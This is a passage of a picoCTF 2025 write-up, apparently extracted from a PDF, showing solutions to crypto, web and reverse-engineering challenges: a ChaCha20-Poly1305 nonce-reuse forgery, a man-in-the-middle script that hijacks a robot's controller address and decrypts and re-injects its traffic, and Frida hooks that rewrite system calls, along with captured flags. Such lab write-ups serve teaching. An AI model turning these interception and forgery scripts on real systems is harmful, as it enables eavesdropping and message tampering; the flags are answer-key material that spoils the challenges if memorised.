b'k}\x83\xefhq\x96%\x02|D6T\x0c|\xb6\x05\xd3\xcaku\xa7\xd6)\xbdj\xaa\xab\xac\x
14\x8a\xeb\xee\xa4\xdb\x15\x8b\x19|\xc5v\xce\x00`I\xb8\xa4\xf5g\x1b~\xc8U6j!|\x
be\xa5\x1eU\x17.[\xf0\xaa\x13\xa9\xdb('
t2 = b'\x8f\xa0b\xef\xe7\x8f\xfe\xc3W\xea\xb2R\xc4\xea\xc2\xae'
nonce = b'\x94\xa6\xc4\xa9\rlN\xb1\xd1$\x021'

a1 = a2 = b""

​ ​ ​ All rights reserved - BJ SEC 2025


target_a = b""
target_msg = b"But it's only secure if used correctly! what about you ?"

keys = chachapoly1305_nonce_reuse_attack(a1, c1, t1, a2, c2, t2)


print(f"keys = {keys}")

forges = list(chachapoly1305_forgery_attack(a1, c1, t1,


a2, c2, t2,
p1,
target_msg, target_a))

C
target_ct = forges[0][0]
target_tag = forges[0][-1]
print(f"forges = {target_tag}")
SE
print((target_ct + target_tag + nonce).hex())

We saved it as chacha_slide.sage and ran it to generate what


we should send to the server to be decrypted as P3 (b"But it's only
secure if used correctly! what about you ?").
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


We ran it and it gave us the payload to send to the server. We
sent it to the server and we got the flag.

C
SE
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


-​ Ricochet

C
SE
BJ

This took us more time to solve. But after many trials and errors,
we finally got it.

This is the web view.

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
BJ

How do we proceed ?
-​ After reading the description and the hint, all over again,
we firstly try to figure out a path which will take the bot to
the flag and it was :

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
BJ

-​ We need to send custom movement commands to the bot


so as to direct it. The description sayeth we shall abuse the
encryption between the robot and the controller. Both of
them are using monocypher.lock which behave a bit like
ChaCha20 cipher, so we know how we can recover

​ ​ ​ All rights reserved - BJ SEC 2025


plaintext having the key used (dh_key_shared), the nonce
and the ciphertext.

-​
For that we write down a custom function above;

C
-​ Also,
SE
both sides are using authenticity_key
shared_hmac_key. We tried to brute force it but nothing good
and

happened. But as soon as we discovered that it was possible to


change the source address of the controller, we made abuse of
that by behaving like a sniffer and setting up a MiTM
environment.
- That helped us dump all clear messages between robots and
BJ

controllers. We wrote a script for that and saved the output into
plainrecovered.txt.
# import monocypher
import requests
# import crypto
import os
import sys
import time
import monocypher
from pwn import xor

​ ​ ​ All rights reserved - BJ SEC 2025


PORT = int(sys.argv[1])
SERVER_URL = f"http://activist-birds.picoctf.net:{PORT}/"

# challenge given functions


def receive_radio_messages():
messages = requests.get(SERVER_URL+"/radio_rx").json()

for msg in messages:


print("DEBUG: Received message", msg)

C
return messages SE
def inject_radio_message(message):
requests.post(SERVER_URL+"/radio_tx", json=message)

def start_robot():
requests.get(SERVER_URL+"/start")

def stop_robot():
requests.get(SERVER_URL+"/stop")
BJ

def get_board_state():
return requests.get(SERVER_URL+"/state").json()

# cryptographic functions
def hmac_and_encrypt(msg_with_hmac, nonce, dh_key_shared):
tag, ciphertext = monocypher.lock(dh_key_shared, nonce, msg_with_hmac)
return ciphertext.hex() + ";" + tag.hex() + ";" + nonce.hex()

# recovering crypted message sent

​ ​ ​ All rights reserved - BJ SEC 2025


def tamper(ciphertext0, nonce, encrypt_key):
_, ciphertext1 = monocypher.lock(encrypt_key, nonce, bytes(1000))
# tag, ciphertext2 = monocypher.lock(key, nonce, message.encode())
return xor(bytes(128), ciphertext1, ciphertext0)[:len(ciphertext0)].decode()

sniffer_robot_dh_key_shared = sniffer_controller_dh_key_shared = dh_key_priv =


robot_address = sniffer_address = robot_public_key = sniffer_public_key =
controller_public_key = controller_address = new_controller_address = challenge =
challenge_response = sniffer_robot_encrypt_key = sniffer_controller_encrypt_key =
crypted_s = None

C
# constant variables
def set_global_variables():
global sniffer_robot_dh_key_shared, dh_key_priv, robot_address, sniffer_address,
robot_public_key,
new_controller_address,
SE
sniffer_public_key,
challenge,
controller_public_key,
challenge_response,
controller_address,
sniffer_robot_encrypt_key,
sniffer_controller_encrypt_key, crypted_s
crypted_s = []
dh_key_priv = os.urandom(32)
robot_address = 0x20
sniffer_address = 0x12
controller_address = 0x10
BJ

sniffer_public_key = monocypher.compute_key_exchange_public_key(dh_key_priv).hex()
new_controller_address = 0x13

# update controller's address


def change_real_controller_address():
global sniffer_address, controller_address, new_controller_address
inject_radio_message({"msg_type": "ping", "src": sniffer_address, "dst": controller_address})
receive_radio_messages()
inject_radio_message({"msg_type": "set_addr", "src": sniffer_address, "dst":
controller_address, "new_addr": new_controller_address})
receive_radio_messages()

​ ​ ​ All rights reserved - BJ SEC 2025


# startup robot and hijack radio waves on air
def solve_robot_challenge():
global challenge, challenge_response
start_robot()
challenge = receive_radio_messages()[-1]['challenge']
# get challenge response from controller
inject_radio_message({"msg_type": "validate", "src": sniffer_address, "dst":
new_controller_address, "challenge": challenge})
challenge_response = receive_radio_messages()[-1]['response']

C
# send challenge_response back to robot
inject_radio_message({"msg_type": "ack_validate", "src": controller_address, "dst":
robot_address, "response": challenge_response})
SE
# setting shared key between robot and sniffer
def compute_keys_robot_sniffer():
global robot_public_key, sniffer_public_key, dh_key_shared, encrypt_key,
sniffer_robot_encrypt_key
robot_public_key = receive_radio_messages()[-1]['key']
inject_radio_message({"msg_type": "ack_key_exchange", "src": controller_address, "dst":
robot_address, "key": sniffer_public_key})
BJ

sniffer_robot_dh_key_shared = monocypher.key_exchange(dh_key_priv,
bytes.fromhex(robot_public_key))
sniffer_robot_encrypt_key = monocypher.blake2b(sniffer_robot_dh_key_shared)[:32]

# setting shared key between sniffer and controller


def compute_keys_sniffer_controller():
global controller_public_key, sniffer_controller_dh_key_shared,
sniffer_controller_encrypt_key
inject_radio_message({"msg_type": "key_exchange", "src": sniffer_address, "dst":
new_controller_address, "key": sniffer_public_key})
controller_public_key = receive_radio_messages()[-1]['key']

​ ​ ​ All rights reserved - BJ SEC 2025


sniffer_controller_dh_key_shared = monocypher.key_exchange(dh_key_priv,
bytes.fromhex(controller_public_key))
sniffer_controller_encrypt_key =
monocypher.blake2b(sniffer_controller_dh_key_shared)[:32]

# exfiltrating plaintext from encrypted data


def exfiltrate():
print("==== To end ====")
for step in range(100):
try:

C
message = receive_radio_messages()[-1]
ciphertext, tag, nonce = [bytes.fromhex(hex_data) for hex_data in
message['encrypted'].split(';')]
SE
# treating each case
if message['msg_type'] == 'secure_data':
crypted_s.append(grabbed := tamper(ciphertext, nonce,
sniffer_robot_encrypt_key))
inject_radio_message({"msg_type": "secure_data", "src": sniffer_address, "dst":
new_controller_address, "encrypted": hmac_and_encrypt(grabbed.encode(), nonce,
sniffer_controller_encrypt_key)})
elif message['msg_type'] == 'secure_data_ack':
BJ

crypted_s.append(grabbed := tamper(ciphertext, nonce,


sniffer_controller_encrypt_key))
inject_radio_message({"msg_type": "secure_data_ack", "src": controller_address,
"dst": robot_address, "encrypted": hmac_and_encrypt(grabbed.encode(), nonce,
sniffer_robot_encrypt_key)})
elif message['msg_type'] == 'secure_data_request':
crypted_s.append(grabbed := tamper(ciphertext, nonce,
sniffer_robot_encrypt_key))
inject_radio_message({"msg_type": "secure_data_request", "src": sniffer_address,
"dst": new_controller_address, "encrypted": hmac_and_encrypt(grabbed.encode(), nonce,
sniffer_controller_encrypt_key)})

​ ​ ​ All rights reserved - BJ SEC 2025


elif message['msg_type'] == 'secure_data_response':
crypted_s.append(grabbed := tamper(ciphertext, nonce,
sniffer_controller_encrypt_key))
inject_radio_message({"msg_type": "secure_data_response", "src":
controller_address, "dst": robot_address, "encrypted":
hmac_and_encrypt(grabbed.encode(), nonce, sniffer_robot_encrypt_key)})
except Exception as e:
print("Error =>", str(e))
break
time.sleep(1)

C
# execution_stack
set_global_variables()
SE
change_real_controller_address()
compute_keys_sniffer_controller()
solve_robot_challenge()
compute_keys_robot_sniffer()
print(f"{sniffer_robot_encrypt_key = }")
print(f"{sniffer_controller_encrypt_key = }")
exfiltrate()
print(f"{crypted_s = }")
BJ

open("plainrecovered.txt", "w").write("\n".join(crypted_s))
stop_robot()

Script used for dumping purposes

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
Running the script
BJ

The resulted file

-​ And we put it all together so as to move the robot


according to the detected path that leads to the flag.

​ ​ ​ All rights reserved - BJ SEC 2025


# import monocypher
import requests
# import crypto
import os
import sys
import time
import monocypher
from pwn import xor

PORT = int(sys.argv[1])

C
SERVER_URL = f"http://activist-birds.picoctf.net:{PORT}/"

# challenge given functions


SE
def receive_radio_messages():
messages = requests.get(SERVER_URL+"/radio_rx").json()

for msg in messages:


print("DEBUG: Received message", msg)

return messages
BJ

def inject_radio_message(message):
requests.post(SERVER_URL+"/radio_tx", json=message)

def start_robot():
requests.get(SERVER_URL+"/start")

def stop_robot():
requests.get(SERVER_URL+"/stop")

def get_board_state():
return requests.get(SERVER_URL+"/state").json()

​ ​ ​ All rights reserved - BJ SEC 2025


# cryptographic functions
def hmac_and_encrypt(msg_with_hmac, nonce, dh_key_shared):
# msg_with_hmac = json.dumps(crypto.add_hmac(msg, nonce,
keys["shared_hmac_key"]))
tag, ciphertext = monocypher.lock(dh_key_shared, nonce, msg_with_hmac)
return ciphertext.hex() + ";" + tag.hex() + ";" + nonce.hex()

# recovering crypted message sent

C
def tamper(ciphertext0, nonce, encrypt_key):
_, ciphertext1 = monocypher.lock(encrypt_key, nonce, bytes(1000))
# tag, ciphertext2 = monocypher.lock(key, nonce, message.encode())
SE
return xor(bytes(128), ciphertext1, ciphertext0)[:len(ciphertext0)].decode()

sniffer_robot_dh_key_shared = sniffer_controller_dh_key_shared = dh_key_priv =


robot_address = sniffer_address = robot_public_key = sniffer_public_key =
controller_public_key = controller_address = new_controller_address = challenge =
challenge_response = sniffer_robot_encrypt_key = sniffer_controller_encrypt_key =
crypted_s = None
BJ

plainrecovered = open("plainrecovered.txt", "r").read().splitlines()


empty_messages = list(filter(lambda x : '""' in x, plainrecovered))
empty_messages = list(map(lambda y : y.encode(), empty_messages))
# print(empty_messages)

# constant variables
def set_global_variables():
global sniffer_robot_dh_key_shared, dh_key_priv, robot_address, sniffer_address,
robot_public_key, sniffer_public_key, controller_public_key, controller_address,
new_controller_address, challenge, challenge_response, sniffer_robot_encrypt_key,
sniffer_controller_encrypt_key, crypted_s

​ ​ ​ All rights reserved - BJ SEC 2025


crypted_s = []
dh_key_priv = os.urandom(32)
robot_address = 0x20
sniffer_address = 0x12
controller_address = 0x10
sniffer_public_key = monocypher.compute_key_exchange_public_key(dh_key_priv).hex()
new_controller_address = 0x13

# update controller's address


def change_real_controller_address():

C
global sniffer_address, controller_address, new_controller_address
inject_radio_message({"msg_type": "ping", "src": sniffer_address, "dst": controller_address})
receive_radio_messages()
SE
inject_radio_message({"msg_type": "set_addr",
controller_address, "new_addr": new_controller_address})
"src": sniffer_address, "dst":

receive_radio_messages()

# startup robot and hijack radio waves on air


def solve_robot_challenge():
global challenge, challenge_response
start_robot()
BJ

challenge = receive_radio_messages()[-1]['challenge']
# get challenge response from controller
inject_radio_message({"msg_type": "validate", "src": sniffer_address, "dst":
new_controller_address, "challenge": challenge})
challenge_response = receive_radio_messages()[-1]['response']
# send challenge_response back to robot
inject_radio_message({"msg_type": "ack_validate", "src": controller_address, "dst":
robot_address, "response": challenge_response})

# setting shared key between robot and sniffer


def compute_keys_robot_sniffer():

​ ​ ​ All rights reserved - BJ SEC 2025


global robot_public_key, sniffer_public_key, dh_key_shared, encrypt_key,
sniffer_robot_encrypt_key
robot_public_key = receive_radio_messages()[-1]['key']
inject_radio_message({"msg_type": "ack_key_exchange", "src": controller_address, "dst":
robot_address, "key": sniffer_public_key})
sniffer_robot_dh_key_shared = monocypher.key_exchange(dh_key_priv,
bytes.fromhex(robot_public_key))
sniffer_robot_encrypt_key = monocypher.blake2b(sniffer_robot_dh_key_shared)[:32]

# setting shared key between sniffer and controller

C
def compute_keys_sniffer_controller():
global controller_public_key, sniffer_controller_dh_key_shared,
sniffer_controller_encrypt_key
SE
inject_radio_message({"msg_type": "key_exchange", "src": sniffer_address, "dst":
new_controller_address, "key": sniffer_public_key})
controller_public_key = receive_radio_messages()[-1]['key']
sniffer_controller_dh_key_shared = monocypher.key_exchange(dh_key_priv,
bytes.fromhex(controller_public_key))
sniffer_controller_encrypt_key =
monocypher.blake2b(sniffer_controller_dh_key_shared)[:32]
BJ

# exfiltrating plaintext from encrypted data


def exfiltrate():
print("==== To end ====")
for step in range(40):
try:
message = receive_radio_messages()[-1]
ciphertext, tag, nonce = [bytes.fromhex(hex_data) for hex_data in
message['encrypted'].split(';')]
# ====================================

​ ​ ​ All rights reserved - BJ SEC 2025


inject_radio_message({"msg_type": "secure_data_request", "src": sniffer_address, "dst":
new_controller_address, "encrypted": hmac_and_encrypt(empty_messages[step], nonce,
sniffer_controller_encrypt_key)})
x, _, y = [bytes.fromhex(hex_data) for hex_data in
receive_radio_messages()[-1]['encrypted'].split(';')]
crypted_s.append(grabbed := tamper(x, y, sniffer_controller_encrypt_key))
# ====================================
# treating each case
if message['msg_type'] == 'secure_data':
crypted_s.append(grabbed := tamper(ciphertext, nonce,

C
sniffer_robot_encrypt_key))
print(f"{grabbed = }")
if step in [0, 4, 10, 16, 22, 28, 34]:

sniffer_robot_encrypt_key)
SE toSend = hmac_and_encrypt(empty_messages[step], nonce,

inject_radio_message({"msg_type": "secure_data_ack", "src": controller_address,


"dst": robot_address, "encrypted": toSend})
elif message['msg_type'] == 'secure_data_request':
crypted_s.append(grabbed := tamper(ciphertext, nonce,
sniffer_robot_encrypt_key))
print(f"{grabbed = }")
BJ

if step in [3, 9, 15, 21, 27, 33, 39]:


toSend =
hmac_and_encrypt(plainrecovered[plainrecovered.index(empty_messages[step].decode(
)) + 1].encode(), nonce, sniffer_robot_encrypt_key)
else :
toSend = hmac_and_encrypt(grabbed.encode(), nonce,
sniffer_robot_encrypt_key)
inject_radio_message({"msg_type": "secure_data_response", "src":
controller_address, "dst": robot_address, "encrypted": toSend})
except Exception as e:
print(step, "Error =>", str(e))

​ ​ ​ All rights reserved - BJ SEC 2025


break
time.sleep(1.5)

# execution_stack
set_global_variables()
change_real_controller_address()
compute_keys_sniffer_controller()
solve_robot_challenge()
compute_keys_robot_sniffer()
print(f"{sniffer_robot_encrypt_key = }")

C
print(f"{sniffer_controller_encrypt_key = }")
exfiltrate()
print(f"{crypted_s = }")

### last game


SE
for i in range(2):
message = receive_radio_messages()[-1]
ciphertext, tag, nonce = [bytes.fromhex(hex_data) for hex_data in
message['encrypted'].split(';')]
crypted_s.append(grabbed := tamper(ciphertext, nonce, sniffer_robot_encrypt_key))
inject_radio_message({"msg_type": "secure_data", "src": sniffer_address, "dst":
BJ

new_controller_address, "encrypted": hmac_and_encrypt(grabbed.encode(), nonce,


sniffer_controller_encrypt_key)})

message = receive_radio_messages()[-1]
ciphertext, tag, nonce = [bytes.fromhex(hex_data) for hex_data in
message['encrypted'].split(';')]
crypted_s.append(grabbed := tamper(ciphertext, nonce, sniffer_controller_encrypt_key))
inject_radio_message({"msg_type": "secure_data_ack", "src": controller_address, "dst":
robot_address, "encrypted": hmac_and_encrypt(grabbed.encode(), nonce,
sniffer_robot_encrypt_key)})

​ ​ ​ All rights reserved - BJ SEC 2025


message = receive_radio_messages()[-1]
ciphertext, tag, nonce = [bytes.fromhex(hex_data) for hex_data in
message['encrypted'].split(';')]
crypted_s.append(grabbed := tamper(ciphertext, nonce, sniffer_robot_encrypt_key))
inject_radio_message({"msg_type": "secure_data_request", "src": sniffer_address, "dst":
new_controller_address, "encrypted": hmac_and_encrypt(grabbed.encode(), nonce,
sniffer_controller_encrypt_key)})

message = receive_radio_messages()[-1]
ciphertext, tag, nonce = [bytes.fromhex(hex_data) for hex_data in

C
message['encrypted'].split(';')]
crypted_s.append(grabbed := tamper(ciphertext, nonce, sniffer_controller_encrypt_key))
inject_radio_message({"msg_type": "secure_data_response", "src": controller_address,
"dst": robot_address,
sniffer_robot_encrypt_key)})
SE"encrypted": hmac_and_encrypt(grabbed.encode(), nonce,

### last game

stop_robot()

Script used to move robot to flag


BJ

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
Running the script
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
BJ

Getting the flag

​ ​ ​ All rights reserved - BJ SEC 2025


REVERSE ENGINEERING

Flag Hunters

C
SE
BJ

A very easy chall. After analysis, just Hitting : ;RETURN 0; give us the
flag

Flag: picoCTF{70637h3r_f0r3v3r_62666df2}

​ ​ ​ All rights reserved - BJ SEC 2025


Quantum Scrambler

C
SE
BJ

def hex_to_char(hex_val):
return chr(int(hex_val, 16))

def reconstruct_flag_from_structure(scrambled):
flag_hex = []

for item in scrambled:


if len(item) >= 2:
if isinstance(item[0], str) and item[0].startswith("0x"):
flag_hex.append(item[0])
if isinstance(item[-1], str) and item[-1].startswith("0x"):

​ ​ ​ All rights reserved - BJ SEC 2025


flag_hex.append(item[-1])

flag_chars = [hex_to_char(hex_val) for hex_val in flag_hex]


return ''.join(flag_chars)

scrambled = [...] replace the dots by the server output

flag = reconstruct_flag_from_structure(scrambled)
print(flag)

C
Flag: picoCTF{python_is_weird9ece5f24}
SE
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


Tap Into Hash

C
SE
import hashlib
import time
import base64
BJ

class Block:
def __init__(self, index, previous_hash, timestamp, encoded_transactions, nonce):
self.index = index
self.previous_hash = previous_hash
self.timestamp = timestamp
self.encoded_transactions = encoded_transactions
self.nonce = nonce

def calculate_hash(self):

​ ​ ​ All rights reserved - BJ SEC 2025


block_string =
f"{self.index}{self.previous_hash}{self.timestamp}{self.encoded_transactions}{self.nonce}"
return hashlib.sha256(block_string.encode()).hexdigest()

def xor_bytes(a, b):


return bytes(x ^ y for x, y in zip(a, b))

def decrypt(ciphertext, key):


key_hash = hashlib.sha256(key).digest()
block_size = 16

C
plaintext = b''

for i in range(0, len(ciphertext), block_size):


SE
cipher_block = ciphertext[i:i + block_size]
plain_block = xor_bytes(cipher_block, key_hash)
plaintext += plain_block
padding_length = plaintext[-1]
plaintext = plaintext[:-padding_length]

return plaintext.decode('utf-8')
BJ

def find_flag(decrypted_text):
genesis_block = Block(0, "0", 0, "EncodedGenesisBlock", 0)
blockchain = [genesis_block]
fake_timestamp = 1000000
genesis_block.timestamp = fake_timestamp
for i in range(1, 5):
encoded_transactions = base64.b64encode(
f"Transaction_{i}".encode()).decode('utf-8')
index = blockchain[-1].index + 1
previous_hash = blockchain[-1].calculate_hash()

​ ​ ​ All rights reserved - BJ SEC 2025


# Find a valid nonce
nonce = 0
while True:
new_block = Block(index, previous_hash, fake_timestamp, encoded_transactions,
nonce)
if new_block.calculate_hash()[:2] == "00":
break
nonce += 1

blockchain.append(new_block)

C
blockchain_string = "-".join([block.calculate_hash() for block in blockchain])
midpoint = len(blockchain_string) // 2
SE
first_half = blockchain_string[:midpoint]
second_half = blockchain_string[midpoint:]
first_half_end = decrypted_text.find(first_half) + len(first_half)
second_half_start = decrypted_text.find(second_half, first_half_end)
flag = decrypted_text[first_half_end:second_half_start]

return flag
BJ

# From the output


#replace it
key =
b'\x1d,\x18.\x8a\xe7vt>j\xfb)s\xc4W\xcdD\x83\xa7\xf0\xdfQS\xd7\xec5=zw\x8e(\xec'
#replace it
encrypted_blockchain =
b'\xdf\x97\xc6\x10k\x00#BN\xbc%\x96\xc8b\'\xc0\x8b\xc9\x96Gk\x07w\x17\x1a\xbf%
\xc1\xc92v\xc7\x8b\x97\x90B1\x06p@\x1e\xbcq\x97\xc9g
\xc7\x8d\x9b\xc6F=Ww\x13L\xe9
\x97\xc8o/\xc6\x94\x9f\xc4A8R!\x11\x13\xbc!\xc1\xccot\x93\x81\xca\xc7\x17mS&AH

​ ​ ​ All rights reserved - BJ SEC 2025


\xee \x96\x99`r\x97\x89\x9b\xc2@8R#A\x1e\xe9
\x93\xc8`u\x93\x8c\xc9\x97G;\x08-\x1b\x1c\xb8$\x9d\x9f`t\x9a\x8e\x82\xc4D1R"\x15I
\xee
\xc7\x9d3%\xc2\x8e\x96\xc6EjRt\x14\x1f\xbf!\x97\xc5d\'\xc1\x8e\x9e\x84\x1dk^Vwl\x
f7r\xc8\x935|\xfc\x8a\xfc\xa6\x1c^XGA~\xbda\xc7\xa4\tO\xf6\xd3\xe2\xc4\x06<\x0
8vku\xfdS\xde\x91\x1cM\xd9\xfb\xe4\xabLjS"AI\xbf(\xd9\xc9`"\x94\x8e\x96\x91CjT#GI
\xbds\xc2\x9fe\'\x91\x8d\xcd\x95C9Pw\x17H\xbft\xc1\xd1f\'\x9b\xdd\x98\x90Dj\x02-
\x1bK\xbfr\x90\x9e3s\x9b\x8e\x9c\x95\x17;\x08#\x16N\xba(\x90\xcd0u\x93\x8a\xca\
xc2AkW-AH\xbc%\x95\xcbb"\x9b\x8a\x99\xcd\x11<\x05,GK\xba)\x90\x99{\'\x93\xda\x
9c\x91EiPt\x14O\xbeu\x92\x993.\x9b\x89\xcd\xc1DmR%\x13\x1c\xbdr\x91\xcb`r\x96\x

C
8c\xca\xc5\x17jRv@L\xb9
\xc7\xcd4.\x97\x80\x9d\x90\x17kR"\x15\x1e\xeeu\xc7\x9dd\x15\xa1'
SE
try:
decrypted_text = decrypt(encrypted_blockchain, key)
print("Decrypted text:", decrypted_text)
import re
flag_match = re.search(r'picoCTF{.*?}', decrypted_text)
if flag_match:
print("Flag found:", flag_match.group(0))
BJ

else:
flag = find_flag(decrypted_text)
print("Extracted flag:", flag)
except Exception as e:
print(f"Error: {e}")

try:
plaintext = b''
key_hash = hashlib.sha256(key).digest()

for i in range(0, len(encrypted_blockchain), 16):

​ ​ ​ All rights reserved - BJ SEC 2025


cipher_block = encrypted_blockchain[i:i + 16]
plain_block = xor_bytes(cipher_block, key_hash)
plaintext += plain_block
plaintext_str = str(plaintext)
flag_match = re.search(r'picoCTF{.*?}', plaintext_str)
if flag_match:
print("Flag found in raw bytes:", flag_match.group(0))
print("Raw plaintext (for manual inspection):", plaintext)
except Exception as e2:
print(f"Second approach error: {e2}")

C
Flag:
SE
picoCTF{block_3SRhViRbT1qcX_XUjM0r49cH_qCzmJZzBK_8bb7bc38}

Perplexed
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
#value of encoded extracted from the decompiled data of the binary
def solve_password_corrected():
encoded = [
0xe1, 0xa7, 0x1e, 0xf8, 0x75, 0x23, 0x7b, 0x61,
0xb9, 0x9d, 0xfc, 0x5a, 0x5b, 0xdf, 0x69,
0xd2,
BJ

0xfe, 0x1b, 0xed, 0xf4, 0xed, 0x67, 0xf4


]

password = bytearray(27)

char_index, bit_index = 0, 0

for i in range(0x17):
for j in range(8):
if bit_index == 0:
bit_index = 1

​ ​ ​ All rights reserved - BJ SEC 2025


encoded_mask = 1 << (7 - j)
password_mask = 1 << (7 - bit_index)

if encoded[i] & encoded_mask:


password[char_index] |= password_mask

bit_index += 1
if bit_index == 8:
bit_index = 0

C
char_index += 1
if char_index >= len(password):
break
SE
return password.decode('ascii', errors='replace')

print(solve_password_corrected())

Flag: picoCTF{0n3_bi7_4t_a_7im3}
BJ

Binary instrumentation 1

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
By running the binary, we got this on cmd
BJ


The purpose of this challenge is instrumenting the binary sleep call to get the flag in a
shorter time than the one defined ( around 136 years ). Let’s go, I will be straight !

install frida in windows with


pip install frida-tools
trace sleep call with
frida-trace -i "Sleep" -f bininst1.exe
modify the generated Sleep.js in both (kernelldll… and kernelbase…) with

defineHandler({

​ ​ ​ All rights reserved - BJ SEC 2025


onEnter(log, args, state) {
const sleepTime = args[0].toUInt32();
log(`Sleep(${sleepTime}) called`);

if (sleepTime > 10000) {


log("Detected long sleep call, bypassing...");
args[0] = ptr(1); // bring sleeping time value to 1ms
}
},

C
onLeave(log, retval, state) {
log("Sleep finished");
}
SE
});
retrace sleep call with:
frida-trace -i "Sleep" -f bininst1.exe
and voilà, we got our first flag
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
BJ

……

​ ​ ​ All rights reserved - BJ SEC 2025


C
SE
Decoding the base64 string , we got the picoCTF{w4ke_m3_up_w1th_fr1da_f27acc38}
BJ

​ ​ ​ All rights reserved - BJ SEC 2025


Binary instrumentation 2

C
SE
BJ

Executing this prog lead directly to process terminated


Reading the description, we notice that the purpose is either intercepting or correcting
file creation or writing calls. It is ! Let’s go straight !

After some try and fail, trying to modify and adapt the createfile and writefile call, I
finally created a custom file to do the job.​

it’s content:

console.log("[*] Flag catcher script loaded");

​ ​ ​ All rights reserved - BJ SEC 2025


Interceptor.attach(Module.getExportByName(null, 'CreateFileA'), {
onEnter: function(args) {
const path = args[0].readAnsiString();
console.log(`[+] CreateFileA called with path: "${path}"`);

if (path === "<Insert path here>") {


console.log("[*] Replacing invalid path with a valid one");
const newPath = "C:\\Users\\Public\\flag.txt";

C
const newPathPtr = Memory.allocAnsiString(newPath);
args[0] = newPathPtr;
console.log(`[*] New path: "${newPath}"`);

},
}
SE
onLeave: function(retval) {
console.log(`[+] CreateFileA returned handle: 0x${retval.toString(16)}`);

if (retval.compare(ptr(-1)) !== 0) {
console.log("[+] Successfully created file!");
BJ

this.validHandle = retval;
} else {
console.log("[!] File creation failed");
}
}
});

Interceptor.attach(Module.getExportByName(null, 'WriteFile'), {
onEnter: function(args) {
this.handle = args[0];

​ ​ ​ All rights reserved - BJ SEC 2025


this.buffer = args[1];
this.size = args[2].toInt32();

console.log(`[+] WriteFile called with handle: 0x${this.handle.toString(16)}, size:


${this.size}`);

if (this.buffer) {
try {

C
for (let size of [this.size, 32, 64, 128, 256, 512]) {
if (size <= 0) continue;
SE
try {
const data = Memory.readByteArray(this.buffer, size);
console.log(`[+] Buffer content (size=${size}):`);
console.log(hexdump(data));

try {
const ascii = Memory.readCString(this.buffer);
BJ

if (ascii && ascii.length > 3) {


console.log(`[!!! POTENTIAL FLAG (ASCII) !!!] "${ascii}"`);
}
} catch (e) {}

try {
const utf16 = Memory.readUtf16String(this.buffer);
if (utf16 && utf16.length > 3) {
console.log(`[!!! POTENTIAL FLAG (UTF-16) !!!] "${utf16}"`);
}
} catch (e) {}

​ ​ ​ All rights reserved - BJ SEC 2025


const bytes = new Uint8Array(data);
const str = String.fromCharCode.apply(null, bytes);
if (str.includes('CTF{') || str.includes('FLAG{')) {
const start = Math.max(str.indexOf('CTF{'), str.indexOf('FLAG{'));
const end = str.indexOf('}', start) + 1;
if (start >= 0 && end > start) {
console.log(`[!!! FLAG FOUND !!!] "${str.substring(start, end)}"`);
}

C
}

break;
} catch (e) {
SE
continue;
}
}
} catch (e) {
console.log(`[!] Error reading buffer: ${e}`);
}
BJ

}
},
onLeave: function(retval) {
console.log(`[+] WriteFile returned: ${retval}`);
}
});

try {
Interceptor.attach(Module.getExportByName("ntdll.dll", "NtWriteFile"), {
onEnter: function(args) {

​ ​ ​ All rights reserved - BJ SEC 2025


this.handle = args[0];
this.buffer = args[5];

if (args[6].toInt32() > 0) {
const size = args[6].toInt32();
console.log(`[+] NtWriteFile called with size: ${size}`);

try {
const data = Memory.readByteArray(this.buffer, size);

C
console.log("[+] NtWriteFile buffer content:");
console.log(hexdump(data));
SE
try {

const ascii = Memory.readCString(this.buffer);


if (ascii && ascii.length > 3) {
console.log(`[!!! POTENTIAL FLAG (NtWriteFile ASCII) !!!] "${ascii}"`);
}
BJ

const utf16 = Memory.readUtf16String(this.buffer);


if (utf16 && utf16.length > 3) {
console.log(`[!!! POTENTIAL FLAG (NtWriteFile UTF-16) !!!] "${utf16}"`);
}
} catch (e) {}
} catch (e) {
console.log(`[!] Error reading NtWriteFile buffer: ${e}`);
}
}
}
});

​ ​ ​ All rights reserved - BJ SEC 2025


} catch (e) {
console.log(`[!] Could not hook NtWriteFile: ${e.message}`);
}

const strFunctions = ['strcpy', 'wcscpy', 'strncpy', 'wcsncpy', 'sprintf', 'wsprintfA', 'wsprintfW'];

strFunctions.forEach(funcName => {
try {
Interceptor.attach(Module.getExportByName(null, funcName), {
onEnter: function(args) {

C
console.log(`[+] ${funcName} called`);

SE
if (funcName.includes('cpy')) {

const src = args[1];


try {

const ascii = Memory.readCString(src);


if (ascii && ascii.length > 3) {
console.log(`[!!! ${funcName} SOURCE (ASCII) !!!] "${ascii}"`);
BJ

if (funcName.includes('wcs')) {
const utf16 = Memory.readUtf16String(src);
if (utf16 && utf16.length > 3) {
console.log(`[!!! ${funcName} SOURCE (UTF-16) !!!] "${utf16}"`);
}
}
} catch (e) {}
}
else if (funcName.includes('printf')) {

​ ​ ​ All rights reserved - BJ SEC 2025


const format = args[1];
try {
const formatStr = Memory.readCString(format);
console.log(`[+] ${funcName} format: "${formatStr}"`);

if (args[2]) {
try {
const arg2 = Memory.readCString(args[2]);
if (arg2 && arg2.length > 3) {

C
console.log(`[!!! ${funcName} ARG2 !!!] "${arg2}"`);
}
} catch (e) {}
}
} catch (e) {}
SE
}
}
});
} catch (e) {
console.log(`[!] Could not hook ${funcName}: ${e.message}`);
}
BJ

});

// Hook Windows unicode APIs


try {
Interceptor.attach(Module.getExportByName(null, 'CreateFileW'), {
onEnter: function(args) {
const path = args[0].readUtf16String();
console.log(`[+] CreateFileW called with path: "${path}"`);

if (path.includes('<Insert') || path.includes('path here')) {


console.log("[*] Replacing invalid wide path");

​ ​ ​ All rights reserved - BJ SEC 2025


const newPath = "C:\\Users\\Public\\flagw.txt";
const newPathPtr = Memory.allocUtf16String(newPath);
args[0] = newPathPtr;
console.log(`[*] New path (W): "${newPath}"`);
}
},
onLeave: function(retval) {
console.log(`[+] CreateFileW returned handle: 0x${retval.toString(16)}`);
}
});

C
} catch (e) {
